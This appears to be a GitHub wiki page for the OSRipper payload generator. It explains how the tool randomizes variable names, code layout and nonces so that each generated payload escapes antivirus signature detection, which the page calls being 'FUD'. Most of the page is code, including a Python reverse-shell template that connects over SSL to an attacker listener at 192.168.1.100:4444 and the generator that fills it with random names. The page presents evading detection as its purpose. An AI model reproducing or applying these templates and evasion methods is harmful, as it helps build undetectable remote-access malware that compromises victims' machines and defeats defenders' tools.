-
Notifications
You must be signed in to change notification settings - Fork 54
Randomising
Detailed explanation of how OSRipper randomizes payloads to ensure uniqueness.
Randomization is the first and most critical step in ensuring payload uniqueness. Every generated payload is different, making static signature detection impossible.
Standard payloads use predictable patterns:
- Fixed variable names (
socket,ssl,host,port) - Standard code structure
- Predictable import statements
- Known function calls
Antivirus solutions can detect these patterns through:
- Static signature matching
- Pattern recognition
- Heuristic analysis
OSRipper randomizes:
- Variable Names - Every variable is randomly named
- Code Structure - Code organization varies
- Encoding Parameters - Encoding keys are random
- Function Names - Functions are renamed
Random variable names are generated for each payload:
import secrets
import string
def generate_random_string(length):
"""Generate random string for obfuscation."""
return "".join(secrets.choice(string.ascii_letters)
for _ in range(length))Example Output:
socket_var = "xKj9mPq2" # Random 8-15 character string
ssl_var = "aBcDeFgHiJ" # Different random string
host_var = "MnOpQrSt" # Another random string
port_var = "UvWxYzAb" # Yet another random stringThe payload template uses randomized variables:
Before Randomization:
port = 4444
host = "192.168.1.100"
import zlib,base64,ssl,socket,struct,time
s = None
for x in range(10):
try:
so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
so.connect((host,port))
s=ssl.wrap_socket(so)
break
except:
time.sleep(10)After Randomization:
xKj9mPq2 = 4444
MnOpQrSt = "192.168.1.100"
import zlib,base64,ssl,socket,struct,time
aBcDeFgHiJ = None
for x in range(10):
try:
UvWxYzAb=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
UvWxYzAb.connect((MnOpQrSt,xKj9mPq2))
aBcDeFgHiJ=ssl.wrap_socket(UvWxYzAb)
break
except:
time.sleep(10)Code structure is varied between generations:
Variation 1:
# Direct assignment
port_var = 4444
host_var = "192.168.1.100"Variation 2:
# Multiple assignments
port_var = 4000 + 444
host_var = "192" + ".168.1.100"Variation 3:
# Function calls
port_var = int("4444")
host_var = str("192.168.1.100")Random nonces are added for additional uniqueness:
nonce1 = secrets.randbelow(14)
nonce2 = secrets.randbelow(42371)
nonce3 = secrets.randbelow(1000)
# Nonces may be used in:
# - Delay calculations
# - Encoding parameters
# - Code structure decisionsLength Range: 8-15 characters Character Set: ASCII letters (a-z, A-Z) Uniqueness: Each variable gets unique name
Code:
socket_var = generate_random_string(random.randint(8, 15))
ssl_var = generate_random_string(random.randint(8, 15))
length_var = generate_random_string(random.randint(8, 15))
data_var = generate_random_string(random.randint(8, 15))
context_var = generate_random_string(random.randint(8, 15))
host_var = generate_random_string(random.randint(8, 15))
port_var = generate_random_string(random.randint(8, 15))The generator creates randomized templates:
payload_content = f"""{stealth_code}{port_var} = {port}
{host_var} = "{host}"
import zlib,base64,ssl,socket,struct,time
{ssl_var} = None
for x in range(10):
try:
{socket_var}=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
{socket_var}.settimeout(5)
{socket_var}.connect(({host_var},{port_var}))
{context_var} = ssl._create_unverified_context()
{ssl_var}={context_var}.wrap_socket({socket_var})
break
except Exception as e:
time.sleep(2)
# ... rest of payload
"""Generation 1:
aBc123 = 4444
xYz789 = "192.168.1.100"
socket_abc = socket.socket(...)
ssl_def = ssl.wrap_socket(...)Generation 2:
mNo456 = 4444
pQr012 = "192.168.1.100"
socket_xyz = socket.socket(...)
ssl_uvw = ssl.wrap_socket(...)Result: Completely different variable names, same functionality
Generation 1:
domain_var = "example.com"
doh_client_var = DoHClient(...)
session_var = SessionManager(...)Generation 2:
dmn_rand = "example.com"
doh_clt_rand = DoHClient(...)
sess_mgr_rand = SessionManager(...)Result: Different names, same behavior
- No Static Patterns - Each payload is unique
- Unpredictable Structure - Code varies between generations
- Random Variables - No predictable names
- Code Variation - Structure changes prevent pattern matching
- Unpredictable Flow - Control flow varies
- Random Elements - Nonces add uniqueness
- Manual Analysis - Harder to understand randomized code
- Automated Analysis - Tools struggle with random variables
- Pattern Matching - No consistent patterns to match
- Variable Names: ~26^15 possible combinations per variable
- Code Structure: Multiple variations per payload type
- Nonces: Random integers add additional uniqueness
- Total Combinations: Effectively infinite
The probability of generating identical payloads:
- Practically Zero - Randomization ensures uniqueness
-
Cryptographically Secure - Uses
secretsmodule - No Repeats - Each generation is independent
-
Use Random Module - Use
secretsfor cryptographically secure randomness - Vary Lengths - Use different lengths for variables
- Multiple Nonces - Add multiple random elements
- Structure Variation - Vary code structure
# Generate multiple payloads
for i in range(10):
generate_payload()
# Verify uniqueness
# Each payload should be differentimport secrets
import string
def generate_random_string(length):
"""Generate cryptographically secure random string."""
return "".join(secrets.choice(string.ascii_letters)
for _ in range(length))# Generate random variables
variables = {}
for var_name in ['socket', 'ssl', 'host', 'port']:
variables[var_name] = generate_random_string(
random.randint(8, 15)
)# Substitute variables in template
template = """
{socket_var} = socket.socket(...)
{ssl_var} = ssl.wrap_socket(...)
"""
payload = template.format(**variables)Randomization is the foundation of OSRipper's FUD capabilities. By ensuring every payload is unique, OSRipper makes static signature detection impossible. Combined with obfuscation and evasion techniques, randomization provides a robust defense against antivirus detection.
For more details, see Proof of Concept and Obfuscation pages.